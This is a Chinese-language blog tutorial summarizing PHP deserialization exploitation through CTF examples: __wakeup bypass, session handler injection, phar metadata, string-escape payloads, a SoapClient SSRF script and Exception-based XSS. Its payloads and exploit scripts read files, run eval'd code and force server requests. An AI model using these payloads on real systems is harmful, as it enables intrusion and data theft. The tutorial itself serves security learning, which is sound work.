反序列化漏洞利用总结

2021-07-16 阅读量

首发合天

反序列化无论在CTF比赛中，抑或是实战渗透中都起着重要作用，而这一直都是我的弱项之一，所以写一篇反序列化利用总结来深入学习一下

简单介绍

（反）序列化只是给我们传递对象提供了一种简单的方法。

serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象

在本质上，反序列化的数据是没有危害的，但是当反序列化数据是用户可控时，这时就会产生一些预期外的结果，也就可能存在危害

因此，反序列化的危害，关键在于可控或不可控，而我们找反序列化漏洞时，数据的可控与不可控也是一处着力点

在本文，不会着重讨论反序列化漏洞的形成原理，这已经被其他师傅讲得很透彻了，我在这里只是稍微总结一下思路，仅此而已

漏洞成因即利用思路

才疏学浅，若有错误，多加包涵

Magic function

Magic function，即我们常说的魔术方法，我们的反序列化漏洞也常常与这些相挂钩

__construct()：构造函数，当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct()：析构函数，类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行，当对象被销毁时会自动调用。
__wakeup()：如前所提，unserialize()时会检查是否存在 __wakeup()，如果存在，则会优先调用 __wakeup()方法。
__toString():用于处理一个类被当成字符串时应怎样回应，因此当一个对象被当作一个字符串时就会调用。
__sleep():用于提交未提交的数据，或类似的清理操作，因此当一个对象被序列化的时候被调用。

利用方式

__wakeup()

对应的CVE编号：CVE-2016-7124

存在的php版本： PHP5.6.25之前版本和7.0.10之前的7.x版本
漏洞成因：当对象的属性（变量）数大于实际的个数时，__wakeup可以被被绕过

demo

<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
    var $warn = "No hacker.";
    function __destruct(){
        eval($this->warn);
    }
    function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

这边的 __wakeup是事件型的，如果没遇到unserialize就永远不会触发了，所以我们得先搞清楚先执行哪个方法，再执行哪个方法。

在这里，经过测试，我们可以得出__wakeup优先级高于 __destruct()

因为遇到了unserialize得先执行 __wakeup里面的内容，才能跑到我们想要的 __destruct()里面，所以得绕过这个 __wakeup

怎么绕过？

只要对象的属性（变量）数大于实际的个数时，__wakeup就可以被被绕过

<?php

class convent{
    var $warn = "phpinfo();";
    function __destruct(){
        
    }   
}
$a = new convent();
$b = serialize($a);
print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}
?>

然后更改变量数即可

1	O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

存在多个魔法方法时，要弄清哪个魔法方法的优先级高

PHP session反序列化

这在我之前一篇文章其实已经介绍得差不多了

漏洞成因：其主要原理就是利用序列化的引擎和反序列化的引擎不一致时，引擎之间的差异产生序列化注入漏洞

demo

在之前的高校战疫中考查过, 利用的就是php session的序列化机制差异导致的注入漏洞

相关题目: http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

仔细看了一遍发现题目没有入口，注意到有ini_set('session.serialize_handler', 'php')存在，猜测是否为session反序列化漏洞

看一下phpinfo

local value(当前目录，会覆盖master value内容):php
master value(主目录，php.ini里面的内容):php_serialize

这就很明显存在session反序列化漏洞了

当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，当PHP检测到这种POST请求时，它会在$_SESSION中添加一组数据，索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。

所以可以通过Session Upload Progress来设置session

允许上传且结束后不清除数据，这样更有利于利用

我们在html网页源码上加入以下代码

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

接下来就是考虑怎么利用了，我们可以利用反序列化数据可控来达成我们的目的

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>

为了防止被转义，我们在双引号前加上反斜杠\

1	\|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

抓包上传，将filename改成我们的payload（要INI中设置的session.upload_progress.name同名变量）

这样我们就可以看到当前目录的文件了，再去phpinfo中查看当前目录

更改payload，利用print_r来读取目标文件

1	\|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

phar 反序列化

phar在网上已经有很多解释了，这里就不过多赘述，简单来说phar就是php压缩文档，不经过解压就能被 php 访问并执行

前提条件

1 2	>php.ini中设置为phar.readonly=Off >php version>=5.3.0

漏洞成因：phar存储的meta-data信息以序列化方式存储，当文件操作函数（file_exists()、is_dir()等）通过phar://伪协议解析phar文件时就会将数据反序列化，并且可以不依赖unserialize()直接进行反序列化操作。

demo

根据文件结构我们来自己构建一个phar文件，php内置了一个Phar类来处理相关操作

<?php
    class User{
        var $name;
        function __destruct(){
            echo "Blackwatch";
        }
    }

    @unlink("test.phar");
    $phar = new Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
    $o = new User();
    $o->name = "test";
    $phar->setMetadata($o);//将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "Blackwatch");//添加要压缩的文件
     //签名自动计算
    $phar->stopBuffering();
?>

可以很明显看到我们的manifest（也就是meta-data）是以序列号形式存储的

在上面的demo中我们可以看到，当文件系统函数的参数可控时，我们可以在不调用unserialize()的情况下进行反序列化操作，其他函数也是可以的

phar反序列化可以利用的函数

phar文件伪造

因为php对phar文件的识别是通过文件头stub来识别的，更准确的说是__HALT_COMPILER();?>这段代码，对于前面的内容和后缀名是没有要求的，我们可以利用这个特性将phar伪装成其他文件进行上传

phar 文件能够上传
文件操作函数参数可控, : ,/ phar 等特殊字符没有被过滤
有可用的魔术方法作为”跳板”

1	$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");

例题：SWPUCTF2018 SimplePHP

bypass phar:// 不能出现在首部

这时我们我们可以利用compress.zlib:// 或compress.bzip2://函数,compress.zlib://和compress.bzip2://同样适用于phar://

payload

1	compress.zlib://phar://phar.phar/test.txt

例题：巅峰极客 2020 babyphp2

字符逃逸

PHP 在反序列化时，底层代码是以 ; 作为字段的分隔，以 } 作为结尾(字符串除外)，并且是根据长度判断内容的 .
当长度不对应的时候会出现报错
可以反序列化类中不存在的元素

漏洞成因：利用序列化后的数据经过过滤后出现字符变多或变少，导致字符串逃逸

字符串变多

[0CTF 2016]piapiapia

扫描目录发现有WWW.ZIP泄露，下载后用Seay源码审计一下

而我们对源码全局搜索时发现，只有config.php存在flag字段的内容，因此可以分析我们的初步思路

因为在profile.php 中: 存在文件操作函数file_get_contents()以及可控的参数 photo ,如果photo 为config.php 就能读取到flag
profile.php

update.php

class.php

我们可以看到这里的正则过滤掉了where(5)替换成了hacker(6)

在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化

我们注册后来抓个包，发现数组中元素的传递nickname也是位于photo之前的，所以我们可以想办法让nickname足够长,把upload那部分字段给”挤出去”

这就是反序列化长度变化尾部字符串逃逸

我们的目标是使photo字段的内容为config.php所以我们要的序列化数据闭合应为：";}s:5:"photo";s:10:"config.php";}，34个字符

我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去，这个的长度为34，所以我们要挤出来34位，不然就成了nickname的值了

where(5)会替换成hacker(6)，长度加1，所以我们要构造34个where

";} 是为了闭合nickname部分，而后面这部分s:5:"photo";s:10:"config.php";} ,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果

使用数组绕过nickname长度限制

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag

字符串变少

也有师傅称之为对象逃逸

~~俺没对象所以不用这个名称~~

原理与上者差不多，是经过序列化–>敏感字替换为空(长度变短)–>反序列化的过程之后再输出结果

直接看题

[安洵杯 2019]easy_serialize_php

源码如下

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根据提示我们可以在phpinfo中看到flag 在 d0g3_f1ag.php 这个文件中，直接读取是不行的

$_SESSION 数组中有 user, funciton, img 这三个属性

img的值我们是控制不了的，进而无法读取到目标文件

我们把注意力转移到函数serialize上，这里有一个很明显的漏洞点，数据经过序列化了之后又经过了一层过滤函数，而这层过滤函数会干扰序列化后的数据

而且extract($_POST)存在变量覆盖漏洞

所以我们可以在这上面做文章

这儿需要两个连续的键值对，由第一个的值覆盖第二个的键，这样第二个值就逃逸出去，单独作为一个键值对

当我们令_SESSION[user]为flagflagflagflagflagflag时，正常情况下序列化后的数据是这样的：正常情况下，序列化后的数据应为

1	a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

但是因为过滤的原因，会变成这样

1	a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到，user的内容已经变为空，但是长度还是24，那么反序列化时就会自动往后读取24位，会读取到";s:8:"function";s:59:"a

";s:8:"function";s:59:"a其长度为24，作为一个整体成了user的值

因为php反序列化时，当一整段内容反序列化结束后，后面的非法字符将会被忽略，而我们可以看到这是以{作为序列化内容的起点，}作为序列化内容的终点

后面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}这部分被舍弃

因此我们可以控制$userinfo[“img”]的值，达到任意文件读取的效果

所以payload为

1	_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

读取完d0g3_f1ag.php后，得到下一个hint，获取到flag文件名

Pop chain

严格来说，这更多像一种方法，就像玩乐高一样把一个个魔术方法串联起来，POP CHAIN 更多的是在类之间，方法之间的调用上，由于方法的参数可控存在危险函数，导致了漏洞,，实也是在代码逻辑上出现的问题

在编写Pop 链的exp的时候,，类的框架几乎不变，只需要做一些修改

pop chain的构造这里就不展开讨论了，毕竟这点位置来讲还不如去看一下github上师傅们挖出来的链实在，后面有机会可以写一下反序列化链构造的思路

SoapClient

SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap 将注释删掉即可

漏洞成因：因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用,从而实现ssrf

exp

<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

LCTF 2018 bestphp’s revenge

exp

import requests
import re
url = "http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler': 'php_serialize'}
res = r.post(url=url+'?f=session_start&name='+payload, data=data)
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res = r.post(url=url+'?f=extract', data=data)
res = r.post(url=url+'?f=extract', data=data)  # 相当于刷新页面
sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
res = r.get(url, headers=cookie)
print(res.text)

Exception

与SoapClient一样，是属于PHP原生类

漏洞成因：php 的原生类中的Error 和Exception 中内置了toString 方法, 可能造成xss漏洞

<?php
$s = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($s));
?>

总结

除了上面这些，还可以和sql注入，命令执行等结合，这里就不再一一赘述，php反序列化漏洞的利用，其实是与xss，sql注入等十分相似的，都是一种闭合-构造，以改变原本代码结构进而达到漏洞利用的目的的思路